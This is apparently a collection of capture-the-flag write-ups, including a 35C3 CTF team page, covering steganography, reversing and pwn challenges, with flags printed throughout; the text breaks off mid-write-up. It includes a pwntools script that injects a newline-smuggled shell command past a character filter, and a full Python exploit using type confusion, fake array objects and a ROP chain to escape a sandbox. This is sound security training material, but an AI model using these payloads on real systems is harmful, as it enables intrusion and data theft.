```$ strings challenge /lib/ld-linux.so.2libc.so.6_IO_stdin_usedputsstdinprintffgets__cxa_finalizestrcmp__libc_start_main__stack_chk_failGLIBC_2.1.3GLIBC_2.4GLIBC_2.0_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableUWVS[^_]Hey there, I know I am the challenge and all, but I forgot what the flag was...Could you just tell me the flag real quick? Please? MCA{y3ah_sur3_here_y0u_g0}That definitely rings a bell! Thank you!That doesn't sound familiar... :/;*2$"GCC: (Ubuntu 7.3.0-16ubuntu3) 7.3.0crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7281__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrychallenge.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finistrcmp@@GLIBC_2.0_ITM_deregisterTMCloneTable__x86.get_pc_thunk.bxprintf@@GLIBC_2.0fgets@@GLIBC_2.0_edata__stack_chk_fail@@GLIBC_2.4__x86.get_pc_thunk.dx__cxa_finalize@@GLIBC_2.1.3__data_startputs@@GLIBC_2.0__gmon_start____dso_handle_IO_stdin_used__libc_start_main@@GLIBC_2.0__libc_csu_initstdin@@GLIBC_2.0_fp_hw__bss_startmain__stack_chk_fail_local__TMC_END___ITM_registerTMCloneTable.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.comment```
> MCA{y3ah_sur3_here_y0u_g0} |
# Nomination
We're given a picture of a cat. `strings` and LSB steganography returned nothing useful. Intuition tells me to check the individual colour planes.
Stegsolve is one of my favorite tools for this.
After going through ever color plane, we find that the flag is hidden in red plane 0.
 |
# FireShell CTF 2019 – Where is the IRC?
* **Category:** recon* **Points:** 60
## Challenge
> Argument of the recon channel on discord.
## Solution
The flag was written in the argument of the recon channel on Discord.
```F#{D1sc0rd_b3tt3r_th4n_1RC}``` |
We have one executable, `20000`, and 20000 shared libs in the `20000_so` folder.
The main executable will let you choose which of the 20000 libs to actually load, then run the `test` function.
At a first look, most of the libs just immediately end execution with a call to `exit`. With a combination of testing all libs automatically and dumb luck, we noticed that the `lib_2035.so` lib calls `system("ls %s")` with our input, instead of just exiting.
`lib_2035.so` though loads and runs `filter1` from `lib_11896.so` and `filter2` from `lib_5163.so`, which prevent us from using the following characters and strings:
```;*|&$`><rvmpd"bin""sh""bash"flg```
Even with the filter, injecting arbitrary shell commands is easy, we just need to add an end-of-line character (`\n`). To read the flag file we can just use globbing and bypass the `f l g` filter.
```python#!/usr/bin/env python2from pwn import *with remote('110.10.147.106', 15959) as p: p.recvuntil('INPUT : ') p.sendline('2035') p.recvuntil('file') p.sendline('"\ncat ????') p.interactive()```
`flag{Are_y0u_A_h@cker_in_real-word?}`
|
# 2018-12-27-35C3-CTF #
[CTFTime link](https://ctftime.org/event/718) | [Website](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/)
---
## Challenges ##
Note: only listing solved challenges.
### pwn ###
- [x] [150 collection](#150-pwn--collection)
### rev ###
- [x] [49 0pack](#49-rev--0pack) - [x] [72 box of blink](#72-rev--box-of-blink) - [x] [65 corebot](#65-rev--corebot) - [x] [97 juggle](#97-rev--juggle) - [x] [215 notifico](#215-rev--notifico) ---
## 150 pwn / Collection ##
**Description**
> [behold my collection](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/52ae03f0ae030a74a2bd466852308cba74c0f313.tar.gz)> > The container is built with the following important statements> > FROM ubuntu:18.04> > ```> RUN apt-get -y install python3.6> COPY build/lib.linux-x86_64-3.6/Collection.cpython-36m-x86_64-linux-gnu.so /usr/local/lib/python3.6/dist-packages/Collection.cpython-36m-x86_64-linux-gnu.so> ```> > Copy the library in the same destination path and check that it works with> > ```bash> python3.6 test.py> ```> > Challenge runs at 35.207.157.79:4444> > Difficulty: easy
**Files provided**
- [collection](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/52ae03f0ae030a74a2bd466852308cba74c0f313.tar.gz)
**Solution** (by [Mem2019](https://github.com/Mem2019))
This should be an easy challenge, but I have missed some basic Python knowledge essential to solving the chanllenge, so I failed to solve it in the contest. :(
Anyway let's start looking at it. The `Python3.6` and `libc` given are exactly same as the ones in `Ubuntu 18.04`, so they are not important. According to the instruction and the files given, we can find that a new data type `Collection` implemented in `Collection.cpython-36m-x86_64-linux-gnu.so` is given. Anything that can help to get the flag directly in Python is disabled, and it is obvious that we need to exploit the given `Collection` data type to get the flag.
But how does the extended data type works? For example, there should be some convention that helps the CPython to know how to correspond Python function with particular native C function, just like Android native function. After some investigation and Google, I found this [documentation](https://docs.python.org/3/extending/), and I will not detail the software development part here because they are well explained in the link I provides.
### reverse engineering
After understanding the basic concept above, we can start looking at the `.so` binary.
```c__int64 PyInit_Collection(){ __int64 v0; // rax __int64 ret; // rbx
if ( (signed int)PyType_Ready((__int64)type_Collection) < 0 ) return 0LL; v0 = PyModule_Create2((__int64)def_module, 1013LL); // create the module ret = v0; if ( !v0 ) return ret; ++type_Collection[0]; PyModule_AddObject(v0, (__int64)"Collection", (__int64)type_Collection); // add the type into module // These codes are basically same as the demo in official doc mprotect((void *)0x439000, 1uLL, 7); MEMORY[0x43968F] = _mm_load_si128((const __m128i *)&16_0xcc); MEMORY[0x43969F] = MEMORY[0x43968F]; // write int3 into python3.6??? mprotect((void *)0x439000, 1uLL, 5); init_sandbox(); // disable most syscall, we can only read the flag by `readv` and `write` return ret;}```
Then we need to look at `type_Collection` to find the member functions of data type `Collection`. I initially decide to import the `PyTypeObject` from `Python.h`, but the dependency problem is a bit annoying. If anyone knows a good way to import the data structures from header files like this, please let me know. :)
Another way is just to look at the memory layout and guess. After some investigation, it is obvious that `0x1470` correspond to the `get` member function that should be essential, according to memory layout.
In addition, `0x1700` is the `__init__` and `0x1550` is the `__new__`, because `0x1700` seems to assign some initial value to the struct while `0x1550` only create and return a object. To ensure our assumption, we can set the breakpoint and we can find that indeed `0x1550` will be called first when creating a `Collection` object.
The way to debug this thing is also tricky. The `.so` of `Collection` will not be loaded until `import Collection` is executed. However, when we run `python3` interactively, the `read` syscall will be called after we import the module, which will cause the bad syscall due to the sandbox. To make the debug more convinient, we can patch the library and remove the sandbox first.
### analyze critical functions
It is quite inconvinient that we cannot import the structrue to help analysis, so we cannot use `y` to let the code more readable.
```c_QWORD *__fastcall _new__(__int64 type_Collection, __int64 a2){ __int64 len; // rax _QWORD *result; // rax __int64 arg_dict; // [rsp+0h] [rbp-18h] unsigned __int64 v5; // [rsp+8h] [rbp-10h]
v5 = __readfsqword(0x28u); if ( PyArg_ParseTuple(a2, "O!", &PyDict_Type, &arg_dict) ) { len = PyDict_Size(arg_dict, (__int64)"O!"); if ( len && len <= 32 ) // off by one, but not very exploitable { result = (_QWORD *)(*(__int64 (__fastcall **)(__int64, _QWORD))(type_Collection + 0x130))(type_Collection, 0LL);// type->tp_alloc(type, 0) if ( result ) result[2] = 0LL; } else { result = &Py_NoneStruct; } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a dictionary"); result = 0LL; } return result;}```
`PyArg_ParseTuple` is an interesting function, it separates the tuple `PyObject` into elements specified by format, and return `NULL` if the format is inconsistent with the real type. The detial is in official document. The `PyObject` is the `C` representation of Python object in C. The first field is reference count, and the second field is a pointer pointing to its `PyTypeObject` struct that specifies its type. The following data vary with different types of object. For example, for the Python big integer type, there will be an array storing the value of the big integer. The total length of the `PyObject` can also vary.
Then we are going to look at `__init__` and `get` to see the memory layout of `PyObject` of `Collection`
```c// the return value of __new__ is a1unsigned int __fastcall _init__(__int64 collection_obj, __int64 a2){ __int64 v2; // r14 __int64 dict_; // rbx int i; // er12 __int64 keys; // r13 list *lRecord; // r15 char *strKey; // rax int type; // esi __int64 v9; // rdx record *v10; // rax handler *v11; // rax unsigned int result; // eax __int64 v13; // rdi __int64 v14; // rax char *v15; // ST08_8 __int64 dict; // [rsp+18h] [rbp-60h] __int64 poKey; // [rsp+20h] [rbp-58h] _QWORD *poVal; // [rsp+28h] [rbp-50h] __int64 ppos; // [rsp+30h] [rbp-48h] unsigned __int64 v20; // [rsp+38h] [rbp-40h]
v2 = collection_obj; v20 = __readfsqword(0x28u); if ( PyArg_ParseTuple(a2, "O!", &PyDict_Type, &dict) ) { dict_ = dict; if ( *(_BYTE *)(*(_QWORD *)(dict + 8) + 171LL) & 0x20 ) { i = 0; keys = PyDict_Keys(dict); if ( *(_BYTE *)(*(_QWORD *)(keys + 8) + 171LL) & 2 ) { while ( i < PyList_Size(keys) ) { if ( !(*(_BYTE *)(*(_QWORD *)(PyList_GetItem(keys, i) + 8) + 171LL) & 0x10) ) { PyErr_SetString(PyExc_TypeError, "parameter must be a string"); // check all keys are string goto LABEL_20; } ++i; } lRecord = listCreate(); ppos = 0LL; while ( PyDict_Next(dict_, &ppos, &poKey, &poVal) ) { strKey = PyUnicode_AsUTF8(poKey); type = 0; v9 = *(_QWORD *)(poVal[1] + 168LL); if ( !(v9 & 0x2000000) ) { type = 2; if ( !(v9 & 0x20000000) ) { type = 1; if ( !(v9 & 0x1000000) ) { v15 = strKey; PyErr_SetString(PyExc_TypeError, "properties can only be either list, dictionary or an integer"); type = -1; strKey = v15; } } } v10 = newRecord(strKey, type); listAppend(lRecord, v10); } v11 = getTypeHandler(lRecord); ppos = 0LL; *(_QWORD *)(collection_obj + 16) = v11; while ( 1 ) { result = PyDict_Next(dict_, &ppos, &poKey, &poVal); if ( !result ) break; v13 = poKey; ++*poVal; PyUnicode_AsUTF8(v13); if ( *(_BYTE *)(poVal[1] + 171LL) & 1 ) { v14 = PyLong_AsLong(poVal); *(_QWORD *)(v2 + 8 * ppos + 16) = v14; } else { *(_QWORD *)(v2 + 8 * ppos + 16) = poVal;// ppos start from 1 } } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a list");LABEL_20: PyErr_SetString(PyExc_TypeError, "parameter must be a list"); result = -1; } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a list"); result = -1; } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a dictionary"); result = 0; } return result;}void *__fastcall py_get(CollectionObj *a1, __int64 a2){ __int64 *v2; // rcx CollectionObj *v3; // rbx __int64 *v4; // rdi int idx; // eax node *iter; // rdx int v7; // ecx void *result; // rax __int64 arg; // [rsp+0h] [rbp-18h] unsigned __int64 v10; // [rsp+8h] [rbp-10h]
v3 = a1; v10 = __readfsqword(0x28u); if ( !PyArg_ParseTuple(a2, "s", &arg, v2) ) return &Py_NoneStruct; v4 = (__int64 *)a1->type; if ( v4 != type_Collection && !(unsigned int)PyType_IsSubtype(v4, type_Collection) ) return &Py_NoneStruct; idx = listIndexOf(v3->u[0].handler->lRecord, arg, (unsigned int (__fastcall *)(_QWORD, __int64))recordNameComparator); if ( idx == -1 ) return &Py_NoneStruct; iter = v3->u[0].handler->lRecord->head; if ( iter && idx > 0 ) { v7 = 0; do { iter = iter->next; ++v7; } while ( iter && idx > v7 ); } result = (void *)v3->u[idx + 1].val; if ( iter->record->val_type == 1 ) result = (void *)PyLong_FromLong(result); return result;}```
relavant data structures
```assembly00000000 list struc ; (sizeof=0x14, align=0x4, copyof_14)00000000 head dq ?00000008 tail dq ? ; offset00000010 len dd ?00000014 list ends0000001400000000 ; ---------------------------------------------------------------------------0000000000000000 record struc ; (sizeof=0xC, align=0x4, mappedto_15)00000000 key_str dq ?00000008 val_type dd ?0000000C record ends0000000C00000000 ; ---------------------------------------------------------------------------0000000000000000 handler struc ; (sizeof=0xC, align=0x4, mappedto_17)00000000 lRecord dq ?00000008 count dd ?0000000C handler ends0000000C00000000 ; ---------------------------------------------------------------------------0000000000000000 node struc ; (sizeof=0x10, align=0x8, copyof_16)00000000 record dq ?00000008 next dq ?00000010 node ends0000001000000000 ; ---------------------------------------------------------------------------0000000000000000 union_7 union ; (sizeof=0x8, mappedto_19)00000000 handler dq ? ; offset00000000 val dq ?00000000 obj dq ?00000000 union_7 ends0000000000000000 ; ---------------------------------------------------------------------------0000000000000000 CollectionObj struc ; (sizeof=0x118, mappedto_20)00000000 ref_count dq ?00000008 type dq ?00000010 u union_7 33 dup(?)00000118 CollectionObj ends```
`record` stores the key which is a string, and the type of value correspond to that key; and the `handler` stores a list of records, which is the type information of a specific dictionary. In the `CollectionObj`, which is the `PyObject` of `Collection`, we have a pointer to the `handler`, and we also have the array that stores the `PyObject` of values in dictionary, except for the integer type we just store it as long type in C. The order in handler linked list and the order in array in `CollectionObj` should have been matched exactly to each other. However, when `getTypeHandler` is called, it will return a previous handler if the handler already exists, **even if the order of entries in the dictionary is different**.
Here is where the vulnerability comes, type confusion. The PoC that cause the crash is simple:
```pythonia = Collection.Collection({"int": 0x1337, "arr": [0xdead, 0xbeef]})ai = Collection.Collection({"arr": [0xdead, 0xbeef], "int": 0x1337}) #they will share the same handler, even if the order is different#and the order of the array in `CollectionObj` is also differentprint(ia.get("int"))print(ia.get("arr"))print(ai.get("int")) #print addressprint(ai.get("arr")) #cause crash because it regards 0x1337 as address```
### exploitation
Because I can leak the object address using `id(obj)`, so we can fake a object easily in the memory and return an address pointing to it in the `Collection.get`. If we can find a structure that internally keep a pointer pointing to a C array, and we can read and write its element, we will have arbitrary address read and write. This is where I failed. The Python string is not the case because it stores the data directly in the `PyObject`, and we cannot edit it. The Python list is neither the case because the pointer points to an array of pointers pointing to Python objects. When we assign new value to the list, what is changed is the pointer to the Python object, instead of the content inside the object, so we cannot exploit this. Then I come to some other approach such as Python heap exploitation, but they don't work very well, or the difficulty to exploit in that way is far beyond my capability. After the CTF, I read some of the write-ups and found `array.array` that performs exactly same as what I expected.
Then the thing become very easy. We can leak the `libc` and stack address very easily, and write to stack to perform ROP that gets the flag.
```pythonimport osflag = open("flag", "r")os.dup2(flag.fileno(), 1023)flag.close()
from sys import modulesdel modules['os']import Collectionkeys = list(__builtins__.__dict__.keys())for k in keys: if k != 'id' and k != 'hex' and k != 'print' and k != 'range': del __builtins__.__dict__[k]
# ----------------start---------------------
p64 = lambda x: x.to_bytes(8,"little")
def create_rop(iov, buf): #ROP is easy, I won't detail this POPRAX = p64(0x0000000000420f7b) POPRDI = p64(0x0000000000421612) POPRSI = p64(0x000000000042110e) POPRDX = p64(0x00000000004026c1) READV = p64(0x4208B0) WRITE = p64(0x4207E0) rop = b'' rop += POPRDI rop += p64(1023) rop += POPRSI rop += p64(iov) rop += POPRDX rop += p64(1) rop += READV #readv(1023, iov, 1) rop += POPRDI rop += p64(1) rop += POPRSI rop += p64(buf) rop += POPRDX rop += p64(0x100) rop += WRITE #write(1, buf, 0x100) rop += p64(0x2019) return rop
def fake_array(addr): # https://github.com/python/cpython/blob/master/Modules/arraymodule.c # the first field is reference count, we make it big to avoid GC to collect it # the 0x9d3340 and 0x715508 represent the type of PyObject and type of C array respectively # in this case, I have chosen the unsigned char array to make it easy # they are obtained from debugging # the 3rd and 5th fields are both length, # I don't know why there are 2 fields storing the same thing, # although they can be inequal sometimes, # so I just copied everything from the memory return p64(0x0000000000002019) + p64(0x00000000009d3340) \ + p64(0x0000000000002019) + p64(addr) \ + p64(0x0000000000002019) + p64(0x0000000000715508) \ + p64(0x0000000000000000) + p64(0x0000000000000000)
ia = Collection.Collection({"int":0x5cee56c130df7336, "arr":[0x2019, 0xbeef]})
ENVIRON = 0xa4f980leak = fake_array(ENVIRON)#suprisingly the environ is in Python module instead of libc module leak_addr = id(leak) + 0x20#for the string, the data is +0x20 after the PyObject address#but in the interactive mode, it seems to be +0x48?
print(hex(leak_addr))
ai_leak2 = Collection.Collection({"arr":[0x2019, 0xbeef], "int":leak_addr})leak_arr2 = ai_leak2.get("arr") #This triggers the vulnerability, and returns an faked array.array object#also, make sure don't reassign this variable, otherwise the GC might be triggered
print(hex(id(leak_arr2)))assert id(leak_arr2) == leak_addr
stack_addr = 0for i in range(0,8): stack_addr |= (leak_arr2[i]) << (8 * i)#leak the stack address
#here we decide to write the ROP into the return address of Py_Main#which should return to function main, and will be executed when the Python script terminates#This is good because it will not interfere essential data at the top of the stack,#and we are sure it will be executed as long as the program terminatesstack_addr -= 0x148 # will point to return address of Py_Main
print(hex(stack_addr))#-------------------leak address to shoot rop
write = fake_array(stack_addr)write_addr = id(write) + 0x20buf_addr = 0xA4FF00 # choose a buffer that will not be usedfake_iov = p64(buf_addr) + p64(0x100)iov_addr = id(fake_iov) + 0x20#fake the iov for readv
ai_write = Collection.Collection({"arr":[0x2019, 0xbeef], "int":write_addr})write_arr = ai_write.get("arr")print(hex(id(write_arr)))#basically same as above
rop = create_rop(iov_addr, buf_addr)
for i in range(15 * 8): write_arr[i] = rop[i]#-----------------------write ROP```
## 49 rev / 0pack ##
**Description**
> Build with my new packer framework. Do you likes zeros in weird places? Try [this](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/0pack-e58db1f74c3da8d9f89d7d381308aeaf1a615848.tar.gz)!> > (Password does not contain 35C3_, prepend before submitting flag `35C3_${extracted_password}`) Guest challenge by Qubasa.> Difficulty estimate: medium
**Files provided**
- [0pack](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/0pack-e58db1f74c3da8d9f89d7d381308aeaf1a615848.tar.gz)
**Solution** (by [Mem2019](https://github.com/Mem2019))
To solve this challenge, we need to unpack the binary first. After some inspection, we can dump the binary using gdb `dump binary memory code.bin 0x555555554628 0x555555567094`, because this is the region where the writable codes lie.
Then put it into the executable.
```pythonp = open("code.bin", "r")d = p.read()p.close()
f = open("0pack.elf", "r+")f.seek(0x628)f.write(d)f.close()```
Using `backtrace` command in gdb, we can find the function that calls the function to get input, here it is `fgets`
```c__int64 __usercall sub_5555555669A0@<rax>(__int64 a1@<rsi>, _BYTE *a2@<r15>){ char need1; // [rsp+1Dh] [rbp-83h] char s[15]; // [rsp+20h] [rbp-80h] char v5[16]; // [rsp+30h] [rbp-70h] char out[58]; // [rsp+50h] [rbp-50h] unsigned __int64 v7; // [rsp+98h] [rbp-8h]
v7 = __readfsqword(0x28u); need1 = 1; strcpy(v5, "Input password: "); printf("%s", v5, a1); fgets(s, 15, stdin); putchar(10); if ( s[0] != a2[74869] || antidbg() ) //clear plain text comparison need1 = 0; if ( s[1] != a2[74968] || antidbg() ) need1 = 0; if ( s[2] != a2[74298] || antidbg() ) need1 = 0; if ( s[3] != a2[74319] || antidbg() ) need1 = 0; if ( s[4] != a2[74868] || antidbg() ) need1 = 0; if ( s[5] != a2[74319] || antidbg() ) need1 = 0; if ( s[6] != a2[74664] || antidbg() ) need1 = 0; if ( s[7] != a2[74869] || antidbg() ) need1 = 0; if ( s[8] != a2[74874] || antidbg() ) need1 = 0; if ( s[9] != a2[74298] || antidbg() ) need1 = 0; if ( s[10] != a2[74309] || antidbg() ) need1 = 0; if ( s[11] != a2[74954] || antidbg() ) need1 = 0; if ( s[12] != a2[74792] || antidbg() ) need1 = 0; if ( s[13] != a2[74968] || antidbg() ) need1 = 0; if ( need1 ) { *(_QWORD *)out = '��_��� ('; *(_QWORD *)&out[8] = '��� (\n)�'; *(_QWORD *)&out[16] = '��>)���_'; *(_QWORD *)&out[24] = '���-����'; *(_QWORD *)&out[32] = '��␌�(\n'; *(_QWORD *)&out[40] = 'uf )���_'; *(_QWORD *)&out[48] = '!haey kc'; *(_WORD *)&out[56] = '\n'; } else { *(_QWORD *)out = '�� wwwwA'; *(_DWORD *)&out[8] = '��_�'; *(_WORD *)&out[12] = '\n�'; out[14] = 0; } printf("%s", out); return 0LL;}```
By debugging, we can find that `a2 == 0x555555554000`, so get the flag using IDA script
```pythons = [None] * 14s[0] = chr(Byte(0x555555554000 + 74869))s[1] = chr(Byte(0x555555554000 + 74968))s[2] = chr(Byte(0x555555554000 + 74298))s[3] = chr(Byte(0x555555554000 + 74319))s[4] = chr(Byte(0x555555554000 + 74868))s[5] = chr(Byte(0x555555554000 + 74319))s[6] = chr(Byte(0x555555554000 + 74664))s[7] = chr(Byte(0x555555554000 + 74869))s[8] = chr(Byte(0x555555554000 + 74874))s[9] = chr(Byte(0x555555554000 + 74298))s[10] = chr(Byte(0x555555554000 + 74309))s[11] = chr(Byte(0x555555554000 + 74954))s[12] = chr(Byte(0x555555554000 + 74792))s[13] = chr(Byte(0x555555554000 + 74968))
print ''.join(s)```
But one thing that I don't understand is the way the packer works. The entry point is `0` for this executable, and so the initial rip should be `0x555555554000` with ASLR disabled. However, the data there in IDA pro and gdb are `0xe9 0xfb 0x5f 0x41 0x00`, which is `jmp 0x55555596a000`. The instructions in `0x55555596a000` make sense, because they seem to be the entry point of a packer. However, I don't know where `0xe9 0xfb 0x5f 0x41 0x00` comes from, because that address should be magic number of ELF header, `"\x7fELF"`, and indeed in the ELF file it is so. And I cannot find `0xe9 0xfb 0x5f 0x41 0x00` in binary ELF file. Well, so I am not sure how these bytes are changed.
## 72 rev / box of blink ##
**Description**
> As every year, can you please decode [this](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/blink.csv.gz) for me?> > 
**Files provided**
- [blink.csv.gz](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/blink.csv.gz)
**Solution**
The image shows a prototyping setup with:
- a LED board (bottom right) - an oscilloscope (top) showing some squarewaves / digital data capture - a logic analyser (centre) - a Raspberry Pi (bottom left)
It is clear that the Pi has a program running that presumably displays the flag on the LED board at some point, and that the logic analyser captured this operation as the file we were given. The oscilloscope might give some additional hints for what to look for in the data but it is not terribly important to solving the challenge.
Unpacking the `blink.csv.gz` file, we can see that it is a quite large (410 MiB) Comma-Separated Values file, i.e. a text-based table format. In the first 21 lines we see some metadata emitted by the logic analyser, but more importantly, we see the labels for all the 10000000 data entries that follow.
```bash$ wc -l blink.csv10000021$ head -n 22 blink.csv#Model,MDO3014#Firmware Version,1.26##Waveform Type,DIGITAL,,,,,,,,,,,,,#Point Format,Y,,,,,,,,,,,,,#Horizontal Units,s,,,,,,,,,,,,,#Horizontal Scale,0.004,,,,,,,,,,,,,#,,,,,,,,,,,,,,#Sample Interval,4e-09,,,,,,,,,,,,,#Record Length,1e+07,,,,,,,,,,,,,#Gating,0.0% to 100.0%,,,,,,,,,,,,,#,,,,,,,,,,,,,,#Vertical Units,V,V,V,V,V,V,V,V,V,V,V,V,V,V#Threshold Used,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#Label,OE,LAT,CLK,E,D,C,B,A,B2,B1,G2,G1,R2,R1#TIME,D13,D12,D11,D10,D9,D8,D7,D6,D5,D4,D3,D2,D1,D0-1.0000000e-03,0,0,0,0,1,0,0,0,0,0,0,1,0,1```
`TIME` is the only column with decimal data, but it is irrelevant to us (it is enough to know that successive lines represent samples taken at successive times), so we will ignore it. The remaining columns are all digital, only taking values `0` or `1`. Some of their labels are clear enough, some not so much:
- `OE` - ? - `LAT` - latch? - `CLK` - clock - `E` ... `A` - ? 5 bits = 64 possible values - `{R,G,B}{1,2}` - 2 bits for each colour channel - Red, Green, Blue
`CLK` is a very important signal to see in captures like this. It is not trivial to perfectly synchronise two devices, so it is common to use a dedicated clock signal emitted by one device (master) that tells the other (slave) when to read data from the remaining signals. In our case we only need to read data entries when the clock "goes high", i.e. its value is `0` on the previous sample and `1` on the current sample.
At this point we can try to test various theories about how the data is actually transmitted using the remaining signals (`LAT`, `E` ... `A`, and `{R,G,B}{1,2}`). However, for a speedy flag it was worth trying the simplest possible method – what if the Pi transmits displays the flag right away, i.e. there is no metadata exchanged, just pixels?
It would be useful to know what shape the data would be in. The photo is in good enough resolution (and was actually much higher res during the CTF) for us to be able to count the individual LEDs on the LED board. It consists of two 64x64 squares, 128x64 pixel resolution in total.
Then we can assume that `R1` is the most significant bit of the red channel, `R2` is the LSB (not that it really matters), and print out pixels!
[Full pixel reader script](scripts/Blink.hx)
The output is by no means perfect, but it got us the flag with minimal effort!
`35C3_D4s_blInk3nL1cht3n_1st_so_wund3rb4r`
## 65 rev / corebot ##
**Description**
> https://35c3ctf.ccc.ac/uploads/corebot-640d3c582340e647d72e1dd9418a3fd6> > Difficulty estimate: easy> > Guest challenge by Jesko / rattle.> > **UPDATE**: Challenge binary replaced. Apologies for the inconvenience.
**Files provided**
- [corebot](https://35c3ctf.ccc.ac/uploads/corebot-640d3c582340e647d72e1dd9418a3fd6)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The core function is easy, decrypt specific data using the key generated from `VolumeSerialNumber`, and compare the first 4 bytes of decryption result with `35C3`. In other word, we need to find the correct serial number that can decrypt the data to the flag.
The best way is to use the brute force crack.
```c#include <windows.h>#include <stdio.h>struct key{ DWORD head[3]; WORD serials[0x10];}data;
DWORD cmode = CRYPT_MODE_ECB;bool crack(DWORD serialNumber){ DWORD len = 0x20; BYTE res[] = "\x10\x29\xB8\x45\x9D\x2A\xAB\x93\xFE\x89\xFB\x82\x93\x42\xA1\x8C\x2E\x90\x63\x00\x06\x11\x80\x64\xB8\x21\xC2\x9F\x35\xE7\x7E\xF2"; HCRYPTPROV cryptContext; HCRYPTKEY key; CryptAcquireContextA(&cryptContext, 0, 0, 0x18u, 0); //initialization that gets the context int i = 16; do { --i; data.serials[i] = (WORD)serialNumber; serialNumber ^= ((DWORD)(WORD)serialNumber >> 4) ^ ((WORD)serialNumber << 11) ^ ((WORD)serialNumber << 7); //actually only low 16 bits of serial are used here, so we only need to crack 0x10000 times }// do some transformation while (i); CryptImportKey(cryptContext, (const BYTE *)&data, 0x2Cu, 0, 0, (HCRYPTKEY *)&key); //import the key from raw bytes to some struct CryptSetKeyParam(key, KP_MODE, (const BYTE *)&cmode, 0); //set mode to ECB CryptDecrypt(key, 0, 1, 0, (BYTE *)&res, (DWORD *)&len;; //decrypt return (memcmp(res, "35C3", 4) == 0);}
void init(){ data.head[0] = 0x208; data.head[1] = 0x6610; data.head[2] = 0x20;}
int main(){ init(); for (size_t i = 0; i < 0xffffffff; i++) { if (i % 0x1000 == 0) printf("%x\n", i); if (crack(i)) printf("%x\n", i); } return 0;}```
A tricky point is that this program is written by assembly directly, because almost no compiler will generate assembly code like this. Especially, when doing the transformation, the hex-ray will give the wrong pseudo code.
For example,
```c//in the loopHIWORD(v18) = serialNumber; // wrong!```
This is actually many continuous `push` that create an array finally, instead of assigning to the same variable for 16 times
```assemblypush ax ; push 16 * 2 = 0x20 bytes```
along with the extra 0xC bytes being pushed after the loop, we have 0x2C bytes, which matches the `dwDataLen` argument of `CryptImportKey` exactly.
```assemblypush 20hpush 6610hpush small 0push small 208h ; 0xc bytes```
## 97 rev / juggle ##
**Description**
> Can you help this restaurant Stack the right amount of Eggs in their ML algorithms?> > Guest challenge by Tethys.> > Note that you need to send a shutdown(2) after you sent your solution. The nmap netcat will do so for you, e.g.: `ncat 35.246.237.11 1 < solution.xml`> > > `/usr/bin/ncat --help | grep -n 1 Ncat 7.60 ( https://nmap.org/ncat )`> > Files here: https://35c3ctf.ccc.ac/uploads/juggle-f6b6fa299ba94bbbbce2058a5ca698db.tar
**Files provided**
- [juggle.tar](https://35c3ctf.ccc.ac/uploads/juggle-f6b6fa299ba94bbbbce2058a5ca698db.tar)
**Solution**
At first I wanted to completely skip this challenge because I thought "ML" in the description referred to Machine Learning, not an uncommon theme in difficult CTF challenges. But I'm really glad I got back to it eventually!
In the archive we are given two files:
- `Dockerfile` - contains the script for deploying a Docker container for this challenge, and its run command, which invokes [Xalan](https://xalan.apache.org/) - `challenge.min.xslt` - an [XSLT (Extensible Stylesheet Language Transformations)](https://en.wikipedia.org/wiki/XSLT) file, minified
The first step is to tidy up the `challenge` file with some auto format.
[Auto-formatted `challenge.xslt`](files/challenge.xslt)
At this point we can start dissecting the file more comfortably, one bit at a time. The root element, `<xsl:stylesheet>` specifies some XLST "libraries", [`math`](http://exslt.org/math/) and [`common`](http://exslt.org/exsl/index.html). It has two child nodes. The first is a template that matches on `/meal` elements. Based on the description we will have to send the challenge server an XML file, so it seems the root element of our file will be `<meal>`. The other is a template with a name, but no element match, so it will be invoked indirectly by the XSLT itself.
Let us have a closer look at the first template, matching on `/meal`. First, there is an assertion:
```xml<xsl:if test="count(//plate) > 300"> <xsl:message terminate="yes">You do not have enough money to buy that much food</xsl:message></xsl:if>```
If we have more than 300 `<plate>` elements in our submission, the above message is printed and the process is stopped (`terminate="yes"`). Note also the fact that plates are counted with `//plate`, i.e. nested two levels deep (including `<meal>`).
Next, a variable called `chef-drinks` is defined:
```xml<xsl:variable name="chef-drinks"> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value></xsl:variable>```
It seems to be an array of five randomly generated 32-bit unsigned integers (`4294967296 = 0x100000000 = 2^32`).
Finally, the other template is "called", like a function:
```xml<xsl:call-template name="consume-meal"> <xsl:with-param name="chef-drinks" select="exsl:node-set($chef-drinks)//value"/> <xsl:with-param name="food-eaten" select="1"/> <xsl:with-param name="course" select="course[position() = 1]/plate"/> <xsl:with-param name="drinks" select="state/drinks"/></xsl:call-template>```
The `chef-drinks` variables is given as-is. `food-eaten` is initialised at `1`. `course` is set to all `<plate>` elements in the first `<course>` element of our `<meal>` submission. And finally, `drinks` is initialised to the `<drinks>` element in `<state>`.
Before looking into what `consume-meal` does, we already know / can guess our submission will have this shape:
